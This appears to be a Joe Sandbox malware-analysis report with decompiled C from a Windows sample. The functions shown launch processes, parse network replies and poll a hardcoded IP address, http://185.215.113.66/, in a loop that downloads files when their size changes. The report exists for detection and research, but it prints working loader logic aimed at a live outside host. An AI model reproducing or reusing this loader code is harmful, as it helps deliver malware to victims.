					if(_v12 == 0) {
						L14:
						return CloseHandle(_v8);
					}
					_v16 = MapViewOfFile(_v12, 4, 0, 0, 0);
					if(_v16 == 0) {
						L13:
						CloseHandle(_v12);
						goto L14;
					}
					_v20 = GetFileSize(_v8, 0);
					_v24 = _v16;
					while(_v20 != 0) {
						if(_v20 >= 0x100) {
							_t45 = E0040B210(_v24, _v24);
							_t67 = _t66 + 4;
							_v28 = _t45;
							if(_v28 != 0) {
								_v20 = _v20 - 0x100;
								if(_v20 >=  *((intOrPtr*)(_v28 + 0xc))) {
									E004044E0(_v24, _v28, _v24,  *((intOrPtr*)(_v28 + 0xc)) + 0x100, 0);
									_t66 = _t67 + 0x10;
									_v20 = _v20 -  *((intOrPtr*)(_v28 + 0xc));
									continue;
								}
								E00408C70(_v28);
								break;
							}
							break;
						}
						break;
					}
					UnmapViewOfFile(_v16);
					goto L13;
				}
				return _t35;
			}

APIs

InitializeCriticalSection.KERNEL32(00416398,?,?,?,?,?,00406523), ref: 004045FB
CreateFileW.KERNELBASE(C:\Users\user\tbcmds.dat,80000000,00000000,00000000,00000003,00000000,00000000,?,?,?,?,?,00406523), ref: 00404615
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 00404636
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 00404655
GetFileSize.KERNEL32(000000FF,00000000), ref: 0040466E
UnmapViewOfFile.KERNEL32(00000000), ref: 004046FB
CloseHandle.KERNEL32(00000000), ref: 00404705
CloseHandle.KERNEL32(000000FF), ref: 0040470F

Strings

C:\Users\user\tbcmds.dat, xrefs: 00404610

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleView$CriticalInitializeMappingSectionSizeUnmap
String ID: C:\Users\user\tbcmds.dat
API String ID: 3956458805-4184261965
Opcode ID: ed756388b1b0d6878a7a18186645e736ddd6a16e139f12393ac249dc04bab315
Instruction ID: fde0418914d6c461a92172338520ab8504d9313cab43c149491a54f3197792e7
Opcode Fuzzy Hash: ed756388b1b0d6878a7a18186645e736ddd6a16e139f12393ac249dc04bab315
Instruction Fuzzy Hash: 063145B4D40209FFDB14DBE4CC49FAEB774AB89704F208969E601772C0D7B96541CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0040D390 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 59
sleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040D390(char _a4) {
				void* _v8;
				struct _PROCESS_INFORMATION _v24;
				struct _STARTUPINFOW _v100;
				intOrPtr _v104;
				int _t20;

				memset( &_v100, 0, 0x44);
				_v24.hProcess = 0;
				_v24.hThread = 0;
				_v24.dwProcessId = 0;
				_v24.dwThreadId = 0;
				_v100.cb = 0x44;
				_v100.dwFlags = 1;
				_v100.wShowWindow = 5;
				_t11 =  &_a4; // 0x406227
				_t20 = CreateProcessW(0,  *_t11, 0, 0, 0, 0x20, 0, 0,  &_v100,  &_v24); // executed
				if(_t20 != 1) {
					_t12 =  &_a4; // 0x406227
					_v8 = ShellExecuteW(0, L"open",  *_t12, 0, 0, 0);
					_v104 = _v8;
					if(_v104 <= 0x20) {
						return 0;
					}
					Sleep(0x3e8);
					return 1;
				}
				Sleep(0x3e8);
				return 1;
			}

APIs

memset.NTDLL ref: 0040D39E
CreateProcessW.KERNELBASE(00000000,'b@,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 0040D3E5
Sleep.KERNEL32(000003E8), ref: 0040D3F5
ShellExecuteW.SHELL32(00000000,open,'b@,00000000,00000000,00000000), ref: 0040D410
Sleep.KERNEL32(000003E8), ref: 0040D42A

Strings

, xrefs: 0040D41F
D, xrefs: 0040D3B4
open, xrefs: 0040D409
'b@, xrefs: 0040D3DF, 0040D405, 0040D3E2, 0040D408

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Sleep$CreateExecuteProcessShellmemset
String ID: $'b@$D$open
API String ID: 2222793131-3177583149
Opcode ID: d69509e6999794d924fcff9b845599a7eb41f28983b1475a5e279ebf92cb692e
Instruction ID: b11808ad886c3be21141a941b9f16766042708721ad172ccf90be75e59fbd376
Opcode Fuzzy Hash: d69509e6999794d924fcff9b845599a7eb41f28983b1475a5e279ebf92cb692e
Instruction Fuzzy Hash: E211FE71E4430CBBEB14DF94DC46BDE7774AB18700F20412AFA09BA2C0D6B55A448B59

Uniqueness

Uniqueness Score: -1.00%

Function 0040D1D0 Relevance: 15.1, APIs: 10, Instructions: 145
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E0040D1D0(WCHAR* _a4) {
				void* _v8;
				long _v12;
				void* _v16;
				DWORD* _v20;
				char _v21;
				void* _v28;
				void* _v32;
				char _v48;
				void* _t54;
				void* _t56;
				void* _t62;
				void* _t64;
				DWORD* _t70;
				void* _t73;
				void* _t103;

				_v21 = 0;
				_v12 = 0;
				_v20 = 0;
				_v8 = 0;
				_t54 = CreateFileW(_a4, 0x80000000, 0, 0, 3, 0, 0); // executed
				_v16 = _t54;
				if(_v16 == 0xffffffff) {
					L12:
					if(_v8 != 0) {
						_t56 = CreateFileW(_a4, 0x40000000, 0, 0, 2, 0, 0); // executed
						_v16 = _t56;
						if(_v16 != 0xffffffff) {
							_v21 = 1;
							WriteFile(_v16, _v8, _v12,  &_v12, 0); // executed
							CloseHandle(_v16);
						}
						E00408C70(_v8);
					}
					return _v21;
				}
				_t62 = CreateFileMappingW(_v16, 0, 2, 0, 0, 0); // executed
				_v28 = _t62;
				if(_v28 == 0) {
					L11:
					CloseHandle(_v16);
					goto L12;
				}
				_t64 = MapViewOfFile(_v28, 4, 0, 0, 0); // executed
				_v32 = _t64;
				if(_v32 == 0) {
					L10:
					CloseHandle(_v28);
					goto L11;
				} else {
					_v12 = GetFileSize(_v16, 0);
					if(_v12 > 0x100) {
						_t70 = E0040B1E0(_v32, _v32);
						_t103 = _t103 + 4;
						_v20 = _t70;
						if(_v20 != 0 && _v20[6] == _v12 - 0x100) {
							_v12 = _v20[6];
							_t73 = E0040AB80(_v32 + 0x100,  &(_v20[2]), 0x10, _v32 + 0x100, _v12); // executed
							_t103 = _t103 + 0x10;
							_v8 = _t73;
							if(_v8 != 0) {
								E004094C0(_v8, _v12,  &_v48);
								_t103 = _t103 + 0xc;
								asm("repe cmpsd");
								if(0 != 0) {
									E00408C70(_v8);
									_t103 = _t103 + 4;
									_v8 = 0;
								}
							}
						}
					}
					UnmapViewOfFile(_v32);
					goto L10;
				}
			}

0x0040d1d8
0x0040d1dc
0x0040d1e3
0x0040d1ea
0x0040d204
0x0040d20a
0x0040d211
0x0040d323
0x0040d327
0x0040d33c
0x0040d342
0x0040d349
0x0040d34b
0x0040d361
0x0040d36b
0x0040d36b
0x0040d375
0x0040d37a
0x0040d385
0x0040d385
0x0040d225
0x0040d22b
0x0040d232
0x0040d319
0x0040d31d
0x00000000
0x0040d31d
0x0040d244
0x0040d24a
0x0040d251
0x0040d30f
0x0040d313
0x00000000
0x0040d257
0x0040d263
0x0040d26d
0x0040d277
0x0040d27c
0x0040d27f
0x0040d286
0x0040d29f
0x0040d2b9
0x0040d2be
0x0040d2c1
0x0040d2c8
0x0040d2d6
0x0040d2db
0x0040d2ee
0x0040d2f0
0x0040d2f6
0x0040d2fb
0x0040d2fe
0x0040d2fe
0x0040d2f0
0x0040d2c8
0x0040d286
0x0040d309
0x00000000
0x0040d309

APIs

CreateFileW.KERNELBASE(00000000,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040D204
CreateFileMappingW.KERNELBASE(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 0040D225
MapViewOfFile.KERNELBASE(00000000,00000004,00000000,00000000,00000000), ref: 0040D244
GetFileSize.KERNEL32(000000FF,00000000), ref: 0040D25D
UnmapViewOfFile.KERNEL32(00000000), ref: 0040D309
CloseHandle.KERNEL32(00000000), ref: 0040D313
CloseHandle.KERNEL32(000000FF), ref: 0040D31D
CreateFileW.KERNELBASE(00000000,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040D33C
WriteFile.KERNELBASE(000000FF,00000000,00000000,00000000,00000000), ref: 0040D361
CloseHandle.KERNEL32(000000FF), ref: 0040D36B

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandle$View$MappingSizeUnmapWrite
String ID:
API String ID: 171974401-0
Opcode ID: 6335cb23eab44def6f952d64af18e03c790db734405732daa150c51d204b45a0
Instruction ID: 3921fc4700ee4b190ae2af8b7d894abc0534e186cae3a84a50511f4350192fbd
Opcode Fuzzy Hash: 6335cb23eab44def6f952d64af18e03c790db734405732daa150c51d204b45a0
Instruction Fuzzy Hash: 97512CB5E00208FBDB14DFE4CC59BEEBB74AB48704F208569E611772C0D7B96A45CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0040C490 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 60
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 79%

			E0040C490(intOrPtr __eax, intOrPtr _a4, intOrPtr* _a8) {
				char _v1028;
				char _v1029;
				intOrPtr _v1036;
				char* _v1040;
				char* _v1044;
				intOrPtr _t20;
				intOrPtr _t29;
				void* _t37;

				_t20 = __eax;
				_v1029 = 0;
				_v1036 = 0;
				while(_v1036 < 2) {
					__imp__#17(_a4,  &_v1028, 0x400, 0, 0, 0); // executed
					if(_t20 != 0xffffffff) {
						_v1029 = 1;
						if(StrCmpNIA( &_v1028, "HTTP/1.1 200 OK", 0xf) == 0) {
							_v1040 = StrStrIA( &_v1028, "LOCATION: ");
							if(_v1040 != 0) {
								_v1044 = _v1040 + 0xa;
								_t29 = E0040B290(_v1044, _v1044, StrChrA(_v1044, 0xd) - _v1044);
								_t37 = _t37 + 8;
								 *_a8 = _t29;
							}
						}
					} else {
						Sleep(0x3e8); // executed
					}
					_t20 = _v1036 + 1;
					_v1036 = _t20;
				}
				return _v1029;
			}

APIs

recvfrom.WS2_32(000000FF,?,00000400,00000000,00000000,00000000), ref: 0040C4DE
Sleep.KERNELBASE(000003E8), ref: 0040C4EE
StrCmpNIA.SHLWAPI(?,HTTP/1.1 200 OK,0000000F), ref: 0040C50B
StrStrIA.SHLWAPI(?,LOCATION: ), ref: 0040C521
StrChrA.SHLWAPI(?,0000000D), ref: 0040C54E

Strings

LOCATION: , xrefs: 0040C515
HTTP/1.1 200 OK, xrefs: 0040C4FF

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Sleeprecvfrom
String ID: HTTP/1.1 200 OK$LOCATION:
API String ID: 668330359-3973262388
Opcode ID: d874aecdcf10d4b5be9618b38b24f3ae2d323a3f92cb0c3b0d60b3f526243bf0
Instruction ID: 8bedf7fd65d1d668ead3ec736ca13f9a22eb8deece20412d9194f72f96c2fcee
Opcode Fuzzy Hash: d874aecdcf10d4b5be9618b38b24f3ae2d323a3f92cb0c3b0d60b3f526243bf0
Instruction Fuzzy Hash: 062142B494022CEBDB20CB64DC85BE97774AB04708F1086E9E709B72C0D7B95AC68F5C

Uniqueness

Uniqueness Score: -1.00%

Function 0040D440 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 57
networksleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040D440(char* _a4, intOrPtr* _a8) {
				void* _v8;
				char _v9;
				void* _v16;
				void _v20;
				long _v24;
				void* _t21;
				void* _t24;

				_v9 = 0;
				_t21 = InternetOpenA("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36", 1, 0, 0, 0); // executed
				_v16 = _t21;
				if(_v16 != 0) {
					_t24 = InternetOpenUrlA(_v16, _a4, 0, 0, 0, 0); // executed
					_v8 = _t24;
					if(_v8 != 0) {
						_v24 = 4;
						HttpQueryInfoA(_v8, 0x20000005,  &_v20,  &_v24, 0);
						if(_v20 > 0x1388 && _v20 !=  *_a8) {
							 *_a8 = _v20;
							_v9 = 1;
						}
						InternetCloseHandle(_v8); // executed
					}
					InternetCloseHandle(_v16);
				}
				Sleep(0x3e8); // executed
				return _v9;
			}

0x0040d446
0x0040d457
0x0040d45d
0x0040d464
0x0040d476
0x0040d47c
0x0040d483
0x0040d485
0x0040d49f
0x0040d4ac
0x0040d4be
0x0040d4c0
0x0040d4c0
0x0040d4c8
0x0040d4c8
0x0040d4d2
0x0040d4d2
0x0040d4dd
0x0040d4e9

APIs

InternetOpenA.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36,00000001,00000000,00000000,00000000), ref: 0040D457
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040D476
HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 0040D49F
InternetCloseHandle.WININET(00000000), ref: 0040D4C8
InternetCloseHandle.WININET(00000000), ref: 0040D4D2
Sleep.KERNELBASE(000003E8), ref: 0040D4DD

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36, xrefs: 0040D452

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$HttpInfoQuerySleep
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
API String ID: 2743515581-858318475
Opcode ID: bf6bfaf4f45310fce9545a939de9a762d1e78cec5d6cbb91b294f9239cf924bb
Instruction ID: 741b2aa36f5f9633f3a5325d1023e1587c91f2e0dd76465297faea143a49f62d
Opcode Fuzzy Hash: bf6bfaf4f45310fce9545a939de9a762d1e78cec5d6cbb91b294f9239cf924bb
Instruction Fuzzy Hash: 9821F974E40208FBDB10DF94CC49FEEB775AB48705F1085A5FA15AB2C0C7B96A44CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00409660 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 74
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00409660(void* __eax) {
				void* _v8;
				long _v12;
				void* _v16;
				signed int _v20;
				long _v24;
				signed int _t36;
				void* _t38;
				void* _t40;
				signed int _t65;

				if( *0x416e2c == 0) {
					return __eax;
				}
				_t36 =  *0x416e2c; // 0x200
				_v12 = _t36 << 3;
				_t38 = E00408B20(_v12);
				_v8 = _t38;
				__eflags = _v8;
				if(_v8 != 0) {
					_v20 = 0;
					while(1) {
						__eflags = _v20 -  *0x416e2c; // 0x200
						if(__eflags >= 0) {
							break;
						}
						 *((intOrPtr*)(_v8 + _v20 * 8)) =  *((intOrPtr*)( *((intOrPtr*)(0x416e30 + _v20 * 4)) + 4));
						 *((intOrPtr*)(_v8 + 4 + _v20 * 8)) =  *((intOrPtr*)( *((intOrPtr*)(0x416e30 + _v20 * 4)) + 8));
						_t65 = _v20 + 1;
						__eflags = _t65;
						_v20 = _t65;
					}
					_t40 = CreateFileW("C:\Users\Alvin\tbnds.dat", 0x40000000, 0, 0, 2, 2, 0); // executed
					_v16 = _t40;
					__eflags = _v16 - 0xffffffff;
					if(_v16 != 0xffffffff) {
						WriteFile(_v16, _v8, _v12,  &_v24, 0); // executed
						FlushFileBuffers(_v16);
						CloseHandle(_v16);
					}
					InterlockedExchange(0x4143b4, 0x3d);
					return E00408C70(_v8);
				}
				return _t38;
			}

0x0040966d
0x00000000
0x00000000
0x00409674
0x0040967c
0x00409683
0x0040968b
0x0040968e
0x00409692
0x00409698
0x004096aa
0x004096ad
0x004096b3
0x00000000
0x00000000
0x004096c8
0x004096de
0x004096a4
0x004096a4
0x004096a7
0x004096a7
0x004096f8
0x004096fe
0x00409701
0x00409705
0x00409719
0x00409723
0x0040972d
0x0040972d
0x0040973a
0x00000000
0x00409749
0x0040974f

APIs

CreateFileW.KERNELBASE(C:\Users\user\tbnds.dat,40000000,00000000,00000000,00000002,00000002,00000000), ref: 004096F8
WriteFile.KERNELBASE(000000FF,00000000,?,?,00000000), ref: 00409719
FlushFileBuffers.KERNEL32(000000FF), ref: 00409723
CloseHandle.KERNEL32(000000FF), ref: 0040972D
InterlockedExchange.KERNEL32(004143B4,0000003D), ref: 0040973A

Strings

C:\Users\user\tbnds.dat, xrefs: 004096F3

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: File$BuffersCloseCreateExchangeFlushHandleInterlockedWrite
String ID: C:\Users\user\tbnds.dat
API String ID: 442028454-279504531
Opcode ID: 69e3a4351929d0e0f14d0b52311952ce385dfcb3d011d1b1f3d42ed8ab782109
Instruction ID: 09bb8ad8a153661e876b0a8aa7cfca9b830c2f60f8f6b2a0515d583d03b87c58
Opcode Fuzzy Hash: 69e3a4351929d0e0f14d0b52311952ce385dfcb3d011d1b1f3d42ed8ab782109
Instruction Fuzzy Hash: 11314CB8A00208EFCB14DF94D845F9EB7B1BB48300F20C669E515A7391C775AE51CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00404CB0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 55
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404CB0() {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				long _v20;
				signed int _v24;
				void* _v28;
				char _v32;
				int _v36;
				long _t31;
				long _t35;
				void* _t44;

				_v20 = GetLogicalDrives();
				_v16 = 0;
				_v12 = 0x80000002;
				_v8 = 0x80000001;
				_v24 = 0;
				while(_v24 < 2) {
					_t31 = RegOpenKeyExW( *(_t44 + _v24 * 4 - 8), L"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", 0, 0x20019,  &_v28); // executed
					if(_t31 == 0) {
						_v32 = 0;
						_v36 = 4;
						_t35 = RegQueryValueExW(_v28, L"NoDrives", 0, 0,  &_v32,  &_v36); // executed
						if(_t35 == 0 && _v32 != 0) {
							_v16 = _v16 | _v32;
						}
						RegCloseKey(_v28);
					}
					_v24 = _v24 + 1;
				}
				return  !_v16 & _v20;
			}

0x00404cbc
0x00404cbf
0x00404cc6
0x00404ccd
0x00404cd4
0x00404ce6
0x00404d04
0x00404d0c
0x00404d0e
0x00404d15
0x00404d31
0x00404d39
0x00404d47
0x00404d47
0x00404d4e
0x00404d4e
0x00404ce3
0x00404ce3
0x00404d61

APIs

GetLogicalDrives.KERNEL32 ref: 00404CB6
RegOpenKeyExW.KERNELBASE(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,00000000,00020019,?), ref: 00404D04
RegQueryValueExW.KERNELBASE(?,NoDrives,00000000,00000000,00000000,00000004), ref: 00404D31
RegCloseKey.ADVAPI32(?), ref: 00404D4E

Strings

NoDrives, xrefs: 00404D28
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, xrefs: 00404CF7

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CloseDrivesLogicalOpenQueryValue
String ID: NoDrives$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
API String ID: 2666887985-3471754645
Opcode ID: 9d90b313020425024ef4211a7d2766a6eb2190f61c39788aa0d4f477df4a16fe
Instruction ID: 1183846ab50913c5dc9fb8b6007841b1b3d3e2f8f7d5b2678c7a8c905f18143c
Opcode Fuzzy Hash: 9d90b313020425024ef4211a7d2766a6eb2190f61c39788aa0d4f477df4a16fe
Instruction Fuzzy Hash: 0E110DB0E4020A9BDF10CFD0D945BEEBB74FB48704F108019E611B7280D7B89645CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0040BBA0 Relevance: 9.1, APIs: 6, Instructions: 80
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040BBA0(signed int* _a4, long _a8, _Unknown_base(*)()* _a12, void* _a16, DWORD* _a20, HANDLE* _a24) {
				long _v8;
				signed int* _v12;
				void* _v16;
				void* _t45;
				void* _t49;

				_v8 = 0;
				if(_a4 == 0) {
					L8:
					return _v8;
				}
				_v12 = _a4;
				EnterCriticalSection( &(_v12[1]));
				E0040BB20( &(_v12[1]), _v12);
				if(_a12 != 0) {
					_v12[7] = E00408B60(_v12[7], 4 +  *_v12 * 4, _v12[7], 4 +  *_v12 * 4);
					if(_v12[7] != 0) {
						_t45 = CreateThread(0, _a8, _a12, _a16, 0, _a20); // executed
						_v16 = _t45;
						if(_v16 != 0) {
							 *((intOrPtr*)(_v12[7] +  *_v12 * 4)) = _v16;
							 *_v12 =  *_v12 + 1;
							if(_a24 != 0) {
								_t49 = GetCurrentProcess();
								DuplicateHandle(GetCurrentProcess(), _v16, _t49, _a24, 0, 0, 2);
							}
							_v8 = 1;
						}
					}
				}
				LeaveCriticalSection( &(_v12[1]));
				goto L8;
			}

0x0040bba6
0x0040bbb1
0x0040bc88
0x0040bc8e
0x0040bc8e
0x0040bbba
0x0040bbc4
0x0040bbce
0x0040bbda
0x0040bbff
0x0040bc09
0x0040bc1f
0x0040bc25
0x0040bc2c
0x0040bc3c
0x0040bc4a
0x0040bc50
0x0040bc5c
0x0040bc6e
0x0040bc6e
0x0040bc74
0x0040bc74
0x0040bc2c
0x0040bc09
0x0040bc82
0x00000000

APIs

EnterCriticalSection.KERNEL32(-00000004,00000000), ref: 0040BBC4

Part of subcall function 0040BB20: WaitForSingleObject.KERNEL32(?,00000000), ref: 0040BB60
Part of subcall function 0040BB20: CloseHandle.KERNEL32(?), ref: 0040BB79

CreateThread.KERNELBASE(00000000,?,00000000,?,00000000,?), ref: 0040BC1F
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040BC5C
GetCurrentProcess.KERNEL32(00000000,00000000), ref: 0040BC67
DuplicateHandle.KERNEL32(00000000), ref: 0040BC6E
LeaveCriticalSection.KERNEL32(-00000004), ref: 0040BC82

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CriticalCurrentHandleProcessSection$CloseCreateDuplicateEnterLeaveObjectSingleThreadWait
String ID:
API String ID: 2251373460-0
Opcode ID: 33c17659471092c2b756b62356fc1a2425cda27d656a6ab2967af513715b6e0f
Instruction ID: 02f9ad1cbe3c42a1849ee7ac27792547e5d144dd11b2029950602c6e4363e771
Opcode Fuzzy Hash: 33c17659471092c2b756b62356fc1a2425cda27d656a6ab2967af513715b6e0f
Instruction Fuzzy Hash: 3E311074900208EFDB04DF94D899F9E7BB5FF48304F108159E905A7391D775AA91CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00405CF0 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 58
sleepCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E00405CF0() {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char _v44;
				char _v148;
				intOrPtr _v152;
				intOrPtr _v156;
				intOrPtr _v160;
				intOrPtr _v164;
				intOrPtr _v168;
				signed int _v172;
				signed char _t35;
				void* _t45;
				void* _t46;

				_v44 = 0;
				_v40 = 0;
				_v36 = 0;
				_v32 = 0;
				_v28 = 0;
				_v24 = 0;
				_v20 = 0;
				_v16 = 0;
				_v12 = 0;
				_v8 = 0;
				_v168 = 0x411130;
				_v164 = 0x411134;
				_v160 = 0x411138;
				_v156 = 0x41113c;
				_v152 = 0x411140;
				while(1) {
					Sleep(0x3e8); // executed
					_v172 = 0;
					while(_v172 < 5) {
						Sleep(0x3e8); // executed
						_push( *((intOrPtr*)(_t45 + _v172 * 4 - 0xa4)));
						_push("http://185.215.113.66/");
						wsprintfA( &_v148, "%s%s");
						_t35 = E0040D440( &_v148, _t45 + _v172 * 4 - 0x28); // executed
						_t46 = _t46 + 0x18;
						if((_t35 & 0x000000ff) == 1) {
							E0040D4F0( &_v148, 0); // executed
							_t46 = _t46 + 8;
						}
						_v172 = _v172 + 1;
					}
					Sleep(0xdbba0); // executed
				}
			}

APIs

